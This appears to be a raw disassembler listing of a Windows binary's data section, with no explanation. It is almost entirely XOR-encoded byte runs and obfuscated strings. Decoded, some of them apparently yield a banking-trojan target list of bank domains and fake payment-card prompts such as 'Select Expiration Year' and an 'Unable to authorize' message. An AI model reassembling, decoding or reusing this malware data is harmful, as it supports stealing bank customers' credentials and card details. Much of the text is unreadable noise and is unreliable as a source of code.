db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 0BFh, 13h, 0
db 10h
db 0C7h, 13h, 0
db 10h
db 0Dh, 14h, 0
db 10h
db 4Bh, 14h, 0
db 10h
aCreatethread_1 db 'CreateThread',0
aEntercritica_0 db 'EnterCriticalSection',0
aInitializecr_0 db 'InitializeCriticalSection',0
aLeavecritica_0 db 'LeaveCriticalSection',0
align 4
db 0
db 5, 0, 0D4h
db 0FAh ;
aA db '',0
dw 4
db 0F2h ;
aUb db 'ܜ',0
dw 1
db 9Ch ;
db 0C0h, 0, 12h
db 0
db 8Fh, 0DCh, 0E9h
db 0ECh ;
db 0C6h, 0FCh, 0C9h
db 0E6h ;
db 0E3h, 0EAh, 0DFh
db 0FDh ;
db 0E0h, 0FBh, 0EAh
db 0ECh ;
db 0FBh, 0EAh, 0EBh
db 0
db 7, 0, 8Bh
db 0F8h ;
aAseqcc db '',0
db 7,0
aVM db '',0
db 4
db 0
aS? db 'S}=? ',0
db 1
db 0
db 0CBh, 97h, 0
db 4
align 2
aQt_c db 'qT_C)',0
db 1
align 2
dw 89ACh
db 0
db 2, 0, 65h
db 40h ; @
db 6, 0, 1
db 0
db 4Ch, 6Fh, 0
db 1
align 2
dw 0F3D0h
db 0
db 1, 0, 0FAh
db 0D9h ;
align 2
dw 7
aSixxs db 'ቕ',0
db 1, 0, 0BCh
db 9Fh ;
align 2
dw 7
aC773yll db 'C+773yll',0
db 2Bh, 4, 96h
db 0F5h ;
db 0FEh, 0F3h, 0F5h
db 0FEh ;
db 0F3h, 0F8h, 0E6h
db 0E4h ;
db 0F3h, 2 dup(0E5h)
db 0B8h ;
db 0FFh, 0F8h, 0F0h
db 0F9h ;
db 0B5h, 0F1h, 0F9h
db 0FAh ;
db 0F2h, 0E6h, 0F9h
db 0FAh ;
db 0FAh, 0B8h, 0F5h
db 0F9h ;
db 0FBh, 0B5h, 0FFh
db 0F8h ;
db 0E2h, 0F1h, 0F9h
db 0FAh ;
db 0F2h, 0B8h, 0F5h
db 0F9h ;
db 0FBh, 0B5h, 0E1h
db 0E1h ;
db 0E1h, 0B8h, 0F5h
db 0F4h ;
db 0E4h, 0B8h, 0E4h
db 0E3h ;
db 0B5h, 2 dup(0E1h)
db 0E1h ;
db 0B8h, 0E5h, 0F9h
db 0F5h ;
db 0FDh, 0E5h, 0B8h
db 0F7h ;
db 0F5h, 0B5h, 0E5h
db 0E2h ;
db 0F9h, 0E4h, 0FBh
db 0E6h ;
db 0F7h, 0EFh, 0B8h
db 0F5h ;
db 0F9h, 0FBh, 0B5h
db 0F5h ;
db 0E4h, 0E3h, 0E2h
db 0F9h ;
db 0E6h, 0B8h, 0F8h
db 0E3h ;
db 0B5h, 0F8h, 0F3h
db 0E1h ;
db 0B8h, 0F3h, 0F1h
db 0F1h ;
db 0B8h, 0F5h, 0F9h
db 0FBh ;
db 0B5h, 2 dup(0E1h)
db 0E1h ;
db 0B8h, 0E6h, 0F9h
db 0F8h ;
db 0ECh, 0FFh, 0E5h
db 0F5h ;
db 0F7h, 0FBh, 0E5h
db 0B8h ;
db 0F5h, 0F9h, 0FBh
db 0B5h ;
db 0E1h, 0F3h, 0FAh
db 0F5h ;
db 0F9h, 0FBh, 0F3h
db 0A5h ;
db 0B8h, 0E5h, 0FBh
db 0FFh
db 0FAh, 0F3h, 0B8h
db 0F5h ;
db 0F9h, 0B8h, 0E3h
db 0FDh ;
db 0B5h, 0F9h, 0FAh
db 0F4h ;
db 0A4h, 0B8h, 0F8h
db 0F7h ;
db 0E2h, 0FFh, 0F9h
db 0F8h ;
db 0F3h, 0E2h, 0B8h
db 0F5h ;
db 0F9h, 0FBh, 0B5h
db 0E1h ;
db 2 dup(0E1h), 0B8h
db 0F4h ;
db 0F4h, 0FFh, 0F8h
db 0B8h ;
db 0E4h, 0E3h, 0B5h
db 0FBh ;
db 0F7h, 0E5h, 0E2h
db 0F3h ;
db 0E4h, 0BBh, 0EEh
db 0B8h ;
db 0F5h, 0F9h, 0FBh
db 0B5h ;
db 3 dup(0E1h)
db 0B8h ;
db 0E6h, 0F9h, 0F8h
db 0ECh ;
db 0FFh, 0E5h, 0F5h
db 0F7h ;
db 0FBh, 0E5h, 0B8h
db 0F5h ;
db 0F9h, 0FBh, 0B5h
db 0E1h ;
db 2 dup(0E1h), 0B8h
db 0F4h ;
db 0F7h, 0F8h, 0FDh
db 0BBh ;
db 0F4h, 0F7h, 0F8h
db 0E7h ;
db 0E3h, 0F3h, 0BBh
db 0F5h ;
db 0F7h, 0F8h, 0F7h
db 0F2h ;
db 0F7h, 0B8h, 0F5h
db 0F7h ;
db 0B5h, 2 dup(0E1h)
db 0E1h ;
db 0B8h, 0E6h, 0F9h
db 0F8h ;
db 0ECh, 0FFh, 0E5h
db 0F5h ;
db 0F7h, 0FBh, 0E5h
db 0B8h ;
db 0F5h, 0F9h, 0FBh
db 0B5h ;
db 3 dup(0E1h)
db 0B8h ;
db 0F4h, 0FBh, 0F9h
db 0B8h ;
db 0F5h, 0F9h, 0FBh
db 0B5h ;
db 0E6h, 0F7h, 0EFh
db 0E6h ;
db 0F7h, 0FAh, 0B8h
db 0F5h ;
db 0F9h, 0FBh, 0B5h
db 0F3h ;
db 0F4h, 0F7h, 0EFh
db 0B8h ;
db 0F5h, 0F9h, 0FBh
db 0B5h ;
db 3 dup(0E1h)
db 0B8h ;
db 0F4h, 0F7h, 0F8h
db 0FDh ;
db 0F9h, 0F0h, 0FBh
db 0F7h ;
db 0F2h, 0E3h, 0E4h
db 0F7h ;
db 0B8h, 0F5h, 0F9h
db 0FBh ;
db 0B5h, 2 dup(0E1h)
db 0E1h ;
db 0B8h, 0F5h, 0FFh
db 0F4h ;
db 0F5h, 0B8h, 0F5h
db 0F9h ;
db 0FBh, 0B5h, 0E1h
db 0E1h ;
db 0E1h, 0B8h, 0E0h
db 0E2h ;
db 0F4h, 0B8h, 0E4h
db 0E3h ;
db 0B5h, 2 dup(0E1h)
db 0E1h ;
db 0B8h, 0F5h, 0E1h
db 0F4h ;
db 0F7h, 0F8h, 0FDh
db 0B8h ;
db 0F5h, 0F9h, 0FBh
db 0B5h ;
db 0F1h, 0F9h, 0FAh
db 0F2h ;
db 0E6h, 0F9h, 0FAh
db 0FAh ;
db 0B8h, 0F5h, 0F9h
db 0FBh ;
db 0B5h, 2 dup(0E1h)
db 0E1h ;
db 0B8h, 0E6h, 0F9h
db 0F8h ;
db 0ECh, 0FFh, 0E5h
db 0F5h ;
db 0F7h, 0FBh, 0E5h
db 0B8h ;
db 0F5h, 0F9h, 0FBh
db 0B5h ;
db 3 dup(0E1h)
db 0B8h ;
db 2 dup(0FBh), 0F4h
db 0F7h ;
db 0F8h, 0FDh, 0B8h
db 0E4h ;
db 0E3h, 0B5h, 0E1h
db 0E1h ;
db 0E1h, 0B8h, 0E3h
db 0F8h ;
db 0FFh, 0F7h, 0E5h
db 0E2h ;
db 0E4h, 0E3h, 0FBh
db 0B8h ;
db 0E4h, 0E3h, 0B5h
db 0F1h ;
db 0F9h, 0FAh, 0F2h
db 0E6h ;
db 0F9h, 2 dup(0FAh)
db 0B8h ;
db 0F5h, 0F9h, 0FBh
db 0B5h ;
db 3 dup(0E1h)
db 0B8h ;
db 0E6h, 0F9h, 0F8h
db 0ECh ;
db 0FFh, 0E5h, 0F5h
db 0F7h ;
db 0FBh, 0E5h, 0B8h
db 0F5h ;
db 0F9h, 0FBh, 0B5h
db 0E1h ;
db 2 dup(0E1h), 0B8h
db 0E1h ;
db 0F9h, 0E4h, 0FAh
db 0F2h ;
db 0F4h, 0F7h, 0F8h
db 0FDh ;
db 0B8h, 0F9h, 0E4h
db 0F1h ;
db 0B5h, 2 dup(0E1h)
db 0E1h ;
db 0B8h, 0F5h, 0F7h
db 0F8h ;
db 0F2h, 0FFh, 0F2h
db 0F7h ;
db 0E2h, 0F3h, 0E0h
db 0F3h ;
db 0E4h, 0FFh, 0F0h
db 0FFh
db 0F3h, 0E4h, 0B8h
db 0F5h ;
db 0F9h, 0FBh, 0B5h
db 0E1h ;
db 2 dup(0E1h), 0B8h
db 0E6h ;
db 0F9h, 0F8h, 0ECh
db 0FFh
db 0E5h, 0F5h, 0F7h
db 0FBh ;
db 0E5h, 0B8h, 0F5h
db 0F9h ;
db 0FBh, 0B5h, 0E1h
db 0E1h ;
db 0E1h, 0B8h, 0F4h
db 0F7h ;
db 0F8h, 0FDh, 0F9h
db 0F0h ;
db 0FFh, 0F8h, 0F2h
db 0FFh
db 0F7h, 0B8h, 0F5h
db 0F9h ;
db 0FBh, 0B5h, 0E1h
db 0E1h ;
db 0E1h, 0B8h, 0FFh
db 0F5h ;
db 0F4h, 0F7h, 0F8h
db 0FDh ;
db 0B8h, 0E4h, 0E3h
db 0B5h ;
db 0F4h, 0F7h, 0F8h
db 0FDh ;
db 0FFh, 0F8h, 0F1h
db 0B8h ;
db 0FEh, 0F7h, 0FAh
db 0FFh
db 0F0h, 0F7h, 0EEh
db 0BBh ;
db 0F9h, 0F8h, 0FAh
db 0FFh
db 0F8h, 0F3h, 0B8h
db 0F5h ;
db 0F9h, 0B8h, 0E3h
db 0FDh ;
db 0B5h, 2 dup(0E1h)
db 0E1h ;
db 0B8h, 0E0h, 0F3h
db 0F8h ;
db 0F2h, 0F9h, 0E4h
db 0E5h ;
db 0F8h, 0F7h, 0FBh
db 0F3h ;
db 0B8h, 0E1h, 0E5h
db 0B5h ;
db 3 dup(0E1h)
db 0B8h ;
db 0FDh, 0FBh, 0F4h
db 0B8h ;
db 0E4h, 0E3h, 0B5h
db 0E1h ;
db 2 dup(0E1h), 0B8h
db 0F8h ;
db 0F3h, 0E2h, 0FBh
db 0F7h ;
db 0F1h, 0FFh, 0E5h
db 0E2h ;
db 0F3h, 0E4h, 0B8h
db 0F5h ;
db 0F9h, 0FBh, 0B5h
db 0FDh ;
db 0F7h, 0E0h, 0FDh
db 0F7h ;
db 0ECh, 0F5h, 0F3h
db 0F8h ;
db 0E2h, 0F3h, 0E4h
db 0B8h ;
db 0F5h, 0F9h, 0FBh
db 0B5h ;
db 3 dup(0E1h)
db 0B8h ;
db 0E0h, 0F3h, 0F8h
db 0F2h ;
db 0F9h, 0E4h, 0E5h
db 0F8h ;
db 0F7h, 0FBh, 0F3h
db 0B8h ;
db 0E1h, 0E5h, 0B5h
db 0FBh ;
db 0EFh, 0F9h, 0F8h
db 0FAh ;
db 0FFh, 0F8h, 0F3h
db 0F7h ;
db 2 dup(0F5h), 0F9h
db 0E3h ;
db 0F8h, 0E2h, 0E5h
db 0A4h ;
db 0B8h, 0F7h, 0F4h
db 0F4h ;
db 0F3h, 0EFh, 0F8h
db 0F7h ;
db 0E2h, 0FFh, 0F9h
db 0F8h ;
db 0F7h, 0FAh, 0B8h
db 0F5h ;
db 0F9h, 0B8h, 0E3h
db 0FDh ;
db 0B5h, 0F9h, 0F8h
db 0FAh ;
db 0FFh, 0F8h, 0F3h
db 0BBh ;
db 0F4h, 0E3h, 0E5h
db 0FFh
db 0F8h, 0F3h, 0E5h
db 0E5h ;
db 0B8h, 2 dup(0FAh)
db 0F9h ;
db 0EFh, 0F2h, 0E5h
db 0E2h ;
db 0E5h, 0F4h, 0B8h
db 0F5h ;
db 0F9h, 0B8h, 0E3h
db 0FDh ;
db 0B5h, 2 dup(0E1h)
db 0E1h ;
db 0B8h, 0F7h, 0FAh
db 0FAh ;
db 0F7h, 0FEh, 0F7h
db 0F4h ;
db 0F7h, 0F2h, 0F4h
db 0F7h ;
db 0F8h, 0FDh, 0B8h
db 0F5h ;
db 0F9h, 0FBh, 0B5h
db 0E1h ;
db 2 dup(0E1h), 0B8h
db 0E4h ;
db 0F4h, 0F5h, 0B8h
db 0F5h ;
db 0F9h, 0FBh, 0B5h
db 0E1h ;
db 2 dup(0E1h), 0B8h
db 0E6h ;
db 0F9h, 0F8h, 0ECh
db 0FFh
db 0E5h, 0F5h, 0F7h
db 0FBh ;
db 0E5h, 0B8h, 0F5h
db 0F9h ;
db 0FBh, 0B5h, 0E1h
db 0E1h ;
db 0E1h, 0A7h, 0B8h
db 0FEh ;
db 0E5h, 0F4h, 0F5h
db 0B8h ;
db 0F5h, 0F7h, 0B5h
db 0FDh ;
db 0F1h, 0F4h, 0E4h
db 0F3h ;
db 0FAh, 0F7h, 0EEh
db 0F5h ;
db 0FAh, 0E3h, 0F4h
db 0B8h ;
db 0E4h, 0E3h, 0B5h
db 0EFh ;
db 0F7h, 0FBh, 0F4h
db 0F9h ;
db 0B8h, 0F4h, 0FFh
db 0ECh ;
db 0B5h, 0FDh, 0FFh
db 0F2h ;
db 0F9h, 0E5h, 0BBh
db 0F4h ;
db 0F7h, 0F8h, 0FDh
db 0B8h ;
db 0E4h, 0E3h, 0B5h
db 0E1h ;
db 2 dup(0E1h), 0B8h
db 0FAh ;
db 0F4h, 0F5h, 0F2h
db 0FFh
db 0E4h, 0F3h, 0F5h
db 0E2h ;
db 0B8h, 0FAh, 0F7h
db 0E3h ;
db 0E4h, 0F3h, 0F8h
db 0E2h ;
db 0FFh, 0F7h, 0F8h
db 0F4h ;
db 0F7h, 0F8h, 0FDh
db 0B8h ;
db 0F5h, 0F7h, 0B5h
db 0F4h ;
db 0F7h, 0E4h, 0F5h
db 0FAh ;
db 0F7h, 0EFh, 0E5h
db 0B8h ;
db 0F5h, 0F9h, 0FBh
db 0B5h ;
db 0E2h, 0F9h, 0E2h
db 0F7h ;
db 2 dup(0FAh), 0EFh
db 0F0h ;
db 0E4h, 2 dup(0F3h)
db 0F4h ;
db 0F7h, 0F8h, 0FDh
db 0FFh
db 0F8h, 0F1h, 0B8h
db 0F5h ;
db 0F9h, 0FBh, 0B5h
db 0E1h ;
db 2 dup(0E1h), 0B8h
db 0F8h ;
db 0F4h, 0F5h, 0B8h
db 0F5h ;
db 0F7h, 0B5h, 0A3h
db 0A5h ;
db 0F4h, 0F7h, 0F8h
db 0FDh ;
db 0B8h, 0F5h, 0F9h
db 0FBh ;
db 0B5h, 2 dup(0E1h)
db 0E1h ;
db 0B8h, 0E0h, 0F3h
db 0F8h ;
db 0F2h, 0F9h, 0E4h
db 0E5h ;
db 0F8h, 0F7h, 0FBh
db 0F3h ;
db 0B8h, 0E1h, 0E5h
db 0B5h ;
db 3 dup(0E1h)
db 0B8h ;
db 0F4h, 0A4h, 0F4h
db 0BBh ;
db 0E2h, 0E4h, 0E3h
db 0E5h ;
db 0E2h, 0B8h, 0F5h
db 0F9h ;
db 0FBh, 0B5h, 0E1h
db 0E1h ;
db 0E1h, 0B8h, 0E0h
db 0F3h ;
db 0F8h, 0F2h, 0F9h
db 0E4h ;
db 0E5h, 0F8h, 0F7h
db 0FBh ;
db 0F3h, 0B8h, 0E1h
db 0E5h ;
db 0B5h, 0F9h, 0E6h
db 0F3h ;
db 0F8h, 0F4h, 0F7h
db 0F8h ;
db 0FDh, 0B8h, 0F5h
db 0F9h ;
db 0FBh, 0B5h, 0E2h
db 0F7h ;
db 0E2h, 0BBh, 0F8h
db 0F3h ;
db 0F0h, 0E2h, 0F4h
db 0F7h ;
db 0F8h, 0FDh, 0B8h
db 0E4h ;
db 0E3h, 0B5h, 0E5h
db 0F3h ;
db 0F5h, 0FAh, 0F7h
db 0F4h ;
db 0B8h, 0E4h, 0E3h
db 0B5h ;
db 0E5h, 0F3h, 0F5h
db 0E3h ;
db 0E4h, 0FFh, 0E2h
db 0EFh ;
db 0FAh, 0F7h, 0F4h
db 0B8h ;
db 0E4h, 0E3h, 0B5h
db 0F0h ;
db 0F3h, 0E2h, 0FEh
db 0F7h ;
db 0E4h, 0F2h, 0B8h
db 0F4h ;
db 0FFh, 0ECh, 0B5h
db 0F1h ;
db 0E4h, 0F9h, 0F8h
db 0EEh ;
db 0E6h, 0FAh, 0F7h
db 0F8h ;
db 0F3h, 0E2h, 0E5h
db 0B8h ;
db 0E4h, 0E3h, 0B5h
db 0E0h ;
db 0F3h, 0F8h, 0F2h
db 0F9h ;
db 0E4h, 0E5h, 0F8h
db 0F7h ;
db 0FBh, 0F3h, 0B8h
db 0E1h ;
db 0E5h, 0B5h, 0
db 0
db 4, 2 dup(0)
db 0
db 0B2h, 0, 0F0h
db 0
db 0FDh, 0, 0F6h
db 0
db 0EBh, 2 dup(0)
db 0
db 1, 0, 1Eh
db 3Eh ; >
align 4
db 15h
align 2
dw 13h
db 47h ; G
db 12h, 29h, 26h
aG3G235_ db '%+"g3(g&23/(5.="',0
a5 db '5',0
db 0F7h
aVscxitGsCvgqse db '׃זקקה',0
dw 1
db 0A3h ;
db 8Eh, 0, 1Eh
db 0
db 0Ch, 5Ch, 60h
db 69h ; i
db 6Dh, 7Fh, 69h
db 20h
db 2Ch, 7Fh, 69h
aIoxItEMxecbUim db '`iox,It|e~mxecb,Uim~',0
db 1, 0, 30h
db 10h
align 2
dw 1Fh
db 9Ah ;
db 0CAh, 0F6h, 0FFh
db 0FBh ;
db 0E9h, 0FFh, 0B6h
db 0BAh ;
db 0E9h, 0FFh, 0F6h
db 0FFh
db 0F9h, 0EEh, 0BAh
db 0DFh ;
db 0E2h, 0EAh, 0F3h
db 0E8h ;
db 0FBh, 0EEh, 0F3h
db 0F5h ;
db 0F4h, 0BAh, 0D7h
db 0F5h ;
db 0F4h, 0EEh, 0F2h
db 0
db 4, 0, 52h
aWbj db 'wbj',0Ah,0
db 1, 0, 10h
db 4Ch ; L
align 2
dw 1
db 0F8h ;
db 0D2h, 0, 4
db 0
db ')-)))',0
db 9,0
db 60h, 30h, 12h
db 0Fh
db 4, 15h, 3
db 14h
db 29h, 4, 0
db 29h ; )
align 2
aAXzdtbcpuBAZpd db 'Ӏ',0
db 1, 0, 5Bh
db 75h ; u
align 2
dw 4
aEh@K db 'eH@=K',0
dw 3
aLs db '',0
db 8,0
aCC db '',0
db 2, 0, 2Fh
db 61h ; a
db 7Bh, 0, 2
db 0
db 0DEh, 0E7h, 86h
db 0
db 6, 0, 15h
aFagvel db 'fagvel',0
db 8,0
db '',0
db 7,0
db 87h, 0F4h, 0F7h
db 0F5h ;
db 0EEh, 0E9h, 0F3h
db 0E1h ;
align 2
dw 6
db '',0
db 5
align 2
dw 681Bh
db 69h ; i
db 7Ah, 75h, 7Fh
db 0
db 4, 0, 0C0h
aBod db '',0
db 6, 0, 10h
aUCud db '}u}cud',0
db 6
db 0
a4yqywdm db '4YQYWDM',0
db 6, 0, 93h
db 0FEh ;
db 0F6h, 0FEh, 0F0h
db 0FEh ;
db 0E3h, 0, 6
db 0
db 74h, 19h, 15h
db 18h
db 18h, 1Bh, 17h
db 0
db 4, 0, 0CDh
aLIi db '',0
db 4, 0, 0C2h
aGNl db '',0
db 7,0
aXskrxxac db '告',0
db 6
align 2
dw 4B14h
aGxqqd db 'gxqqd',0
db 0Ah,0
db 0Eh
aMZjbbJbb db 'm|zjbb jbb',0
db 0Ah,0
aTbrcjooJoo db '⁐̆',0
dw 6
aKkqVx db ' KKQ',0Dh,'VX',0
db 6
align 2
dw 66Dh
db 6
db 1Ch, 40h, 1Bh
db 15h
align 2
dw 6
aIiU db 'è',0
db 6
align 2
dw 771Ch
aWm1jd db 'wm1jd',0
db 8,0
db 7
db 22h, 74h, 58h
db 6Ah ; j
db 73h, 7Fh, 22h
db 72h ; r
align 2
dw 6
db 0D0h ;
db 2 dup(0BBh), 0A1h
db 0FDh ;
db 0A6h, 0A8h, 0
db 7
align 2
dw 0E9CCh
db 0BFh ;
db 93h, 0A1h, 0B8h
db 0B4h ;
db 0FDh, 0, 16h
db 0
aTbolbiNmbzNBnm db '⡎¶¡',0
db 6, 0, 38h
aZmllwv db 'zmllwv',0
db 1Eh
db 0
db 4, 41h, 5Ch
db 54h ; T
db 4Dh, 56h, 45h
db 50h ; P
db 4Dh, 4Bh, 4Ah
db 24h ; $
db 40h, 45h, 50h
db 41h ; A
db 3 dup(0Eh)
aEpiTmjGk@a db 'EPI$TMJ$GK@A',0
db 6, 0, 0Bh
aX_j_bh db 'X_J_BH',0
align 4
db 0
db '',0
db 4
db 0
aIcl db 'ߚ',0
db 6
db 0
db 0C5h, 0F7h, 0F5h
db 0E0h ;
db 0EBh, 0F7h, 0B0h
db 0
db 4, 0, 85h
db 0A0h ;
db 0ABh, 0B7h, 0F0h
db 0
db 2 dup(0), 0B4h
db 0
db 8, 0, 55h
db 16h
db 1Ah, 18h, 17h
db 1Ah
db 17h, 1Ah, 0Dh
db 0
db 2 dup(0), 8Eh
db 0
db 8, 0, 19h
aZvtVVa db 'ZVT[V[VA',0
db 6, 0, 12h
aAfsfQ db 'AFSF[Q',0
aN db 'n',0
db 43h, 16h, 2Dh
db 22h ; "
db 21h, 2Fh, 26h
db 63h ; c
db 37h, 2Ch, 63h
db 22h ; "
db 36h, 37h, 2Bh
db 2Ch ; ,
db 31h, 2Ah, 39h
db 26h ; &
db 6Dh, 49h, 66h
db 30h ; 0
db 63h, 33h, 31h
db 2Ch ; ,
db 20h, 26h, 30h
db 30h ; 0
db 2Ah, 2Dh, 24h
db 63h ; c
db 20h, 26h, 2Dh
db 37h ; 7
db 26h, 31h, 63h
db 2Ah ; *
db 30h, 63h, 36h
db 2Dh ; -
db 22h, 21h, 2Fh
db 26h ; &
db 63h, 37h, 2Ch
db 63h ; c
db 22h, 36h, 37h
db 2Bh ; +
db 2Ch, 31h, 2Ah
db 39h ; 9
db 26h, 63h, 3Ah
db 2Ch ; ,
db 36h, 31h, 63h
db 20h
db 22h, 31h, 27h
db 63h ; c
db 66h, 30h, 6Dh
db 49h ; I
db 0Eh, 22h, 28h
aC1170cC71CM db '&c ,11& 7*,-0c"-',27h,'c71:c"$"*-m',0
db 0Ah,0
aM db 'M',0
db 2Ch, 3Eh, 39h
db 28h ; (
db 3Fh, 0Eh, 2Ch
db 3Fh ; ?
db 29h, 0, 4
db 0
db 5Dh, 0Bh, 14h
db 0Eh
db 1Ch, 0, 1
db 0
db 42h, 62h, 0
db 6
align 2
aY80 db 'y*-8-0:',0
align 4
aT db '',0
dw 6
aV7?5 db 'v%"7"?5',0
db 15h
align 2
aFlfff6455F db 'flFFF64)%#55/(!F ',27h,'/*#"',0
db 6, 0, 5Eh
db 0Dh
db 0Ah, 1Fh, 0Ah
db 17h
db 1Dh, 0, 6
db 0
aB3o4 db 'B))3o4:',0
db 8,0
aIAgI db '̉',0
db 9,0
db 80h
db 0C4h ;
db 0EFh, 0E3h, 0CFh
db 0E2h ;
db 0EAh, 0E5h, 0E3h
db 0F4h ;
align 2
dw 0Eh
aAGGcZz db 'Ԁ',0
db 4
align 2
dw 0B49Ah
db 0F4h ;
db 0F6h, 0E9h, 0
db 1
align 2
dw 0FBA7h
db 0
db 5, 0, 3
aPP_ db '&p&p_',0
dw 5
db 2Bh ; +
db 0Eh, 58h, 0Eh
db 58h ; X
db 77h, 0, 3
db 0
aUA db '',0
dw 4
aPk db '',0
align 10h
db 0
db 9,0
align 4
db 0
db '',0
aZ db '',0
aA_0 db '',0
aG db '',0
aK db '',0
db '',0
aA_1 db '',0
aA_2 db '',0
db '',0
aB db '',0
db 2 dup(0), 5Fh
db 0
aIu_iTyi_TyiTyi db 'Iu $.i> -=!tyi!, .!=tyi+&;-,;tyi:;*t!==9sffl:v!tl:o tl<l:o&tl<o/t'
db 'l*o: tl:o:&tl<o=%tl<o?tl<o-tl:w',0
db ',',0
aBAAnaAnaAnaAsT db 'ڝՀɀπހΒۀރ',0
db 7,0
aNPnuP db 'ӏӏ',0
db 3, 0, 7Ah
dd 471541h, 7B400004h, 7D2F33h, 0F3C80004h, 0E2F5ACh, 300h
dd 0F004600h, 1000B00h, 10000000h, 0F9E2B100h, 0F7C5D4F6h
dd 0D4D5DDDEh, 0C5D0E1C3h, 0B00F0D9h, 0C4DFAC00h, 9FC0C0C9h
dd 0C0C8829Eh, 0B00C0h, 6B667D0Eh, 3C3D6262h, 62626A20h
dd 2000C00h, 57766745h, 4C706771h, 43676F63h, 0B000B00h
dd 486C6E59h, 6E786467h, 726E40h, 0BDEF0010h, 9ABE888Ah
dd 0B9969D8Ah, 8A9A838Eh, 0AE97AAh, 0C99B000Dh, 0EBD4FCFEh
dd 0FED0F5FEh, 0DAE3DEE2h, 7000C00h, 66716366h, 35346E77h
dd 6B6B6329h, 8E000C00h, 0EFF8EAEFh, 0BCBDE7FEh, 0E2E2EAA0h
dd 97000100h, 500CBh, 331C4A6Fh, 5001C4Ah, 0C5A7F00h, 0C5A23h
dd 0AE8B0004h, 0A1D7F8h, 0D8F60004h, 859A98h, 79250001h
dd 0C001100h
aEbxiBixItCI db 'Ebxi~bix,It|`c~i~',0
align 4
aD db 'D',0
dw 1
dd 2D55h, 0E00E400h, 0DBF9BE00h, 0D1CAEDCAh, 0DCF1D5DDh
dd 0CADDDBD4h, 0B0000B00h, 0D1D5C2F3h, 0DFF6D5C4h, 0F1C4DEh
dd 2A4D0009h, 7F7E2429h, 21212963h, 0D7000900h, 0E4BEB3B0h
dd 0BBB3F9E5h, 0B00BBh, 0FACCF6BFh, 0D3DECACEh, 0FBF6EAF8h
dd 6F000E00h, 13A002Ch, 1B060106h, 6030E06h, 0C000A15h
dd 0D7FBB800h, 0CCD1D6F1h, 0D1D4D9D1h, 1000DDC2h, 98B4F700h
dd 969285B4h, 99BE9283h, 99968384h, 0F009294h, 0F6F9BA00h
dd 0FCFEF3E9h, 0E9D7D5C8h, 0D4D3C8CEh, 900DDh, 40D0E61h
dd 54F5352h, 9000D0Dh, 0B6B5DA00h, 0F4E8E9BFh, 0B6B6BEh
dd 8AA40004h, 0D0C5C0h, 0A2F0017h, 0A4C0A4Ch, 24C0A4Ch
dd 2 dup(4C0A4C0Ah), 4C014C0Ah, 16004240h, 54123700h, 2 dup(54125412h)
dd 1254121Ah, 12541254h, 42451954h, 4C000E00h, 38290Bh
dd 202D2F23h, 2A220529h, 0D000D23h, 0E8CA8D00h, 0FFE8DBF9h
dd 0E3E2E4FEh, 0CCF5C8h, 83C50014h, 91A0A9ACh, 91A0A8ACh
dd 0B6BC96AAh, 91A8A0B1h, 0A0A8ACh, 0E5A6000Fh, 0C7D6CBC9h
dd 0CFE0C3D4h, 0CFF2C3CAh, 1500C3CBh, 11337400h, 181B2200h
dd 3D111901h, 61B121Ah, 1D001519h, 351A1Bh, 327B0014h
dd 91E0F15h, 10181417h, 1E3F1F1Eh, 161E0918h, 0F151Eh
dd 96DF0014h, 0ADBAABB1h, 0B4BCB0B3h, 0B196BBBAh, 0B2BAADBCh
dd 0ABB1BAh, 31760013h, 0F250213h, 1B130205h, 13041F32h
dd 4190215h, 1200370Fh, 0E5C78000h, 0E4EFCDF4h, 0C6E5ECF5h
dd 0CEE5ECE9h, 0C1E5EDE1h, 0E5000A00h, 8B8095AAh, 809190A8h
dd 0C00A49Dh, 0EBDA9900h, 0FCEDF8FCh, 0FCEDECD4h, 900D8E1h
dd 98B4F700h, 9EB18E87h, 0B6929Bh, 185F0011h, 361B2B3Ah
dd 2D19342Ch, 2F0C3A3Ah, 1E3A3C3Eh, 0F2000C00h, 0B78697A1h
dd 809D8080h, 97969DBFh, 0E8001100h, 0AD9C8DAFh, 0AB9C8190h
dd 0BC8D8C87h, 898D9A80h, 0D008Ch, 0BFAE8CCBh, 0BDA2B98Fh
dd 0BBB29FAEh, 9008AAEh, 133C7A00h, 16391E14h, 1F0915h
dd 581E000Dh, 507A7077h, 586A667Bh, 5F7B7277h, 61000E00h
dd 50F0827h, 12130827h, 0D082715h, 0C002004h, 0C9EBAC00h
dd 0CFC5F8D8h, 0D9C3EFC7h, 0D00D8C2h, 0D3F5A700h, 0D5C2FDCBh
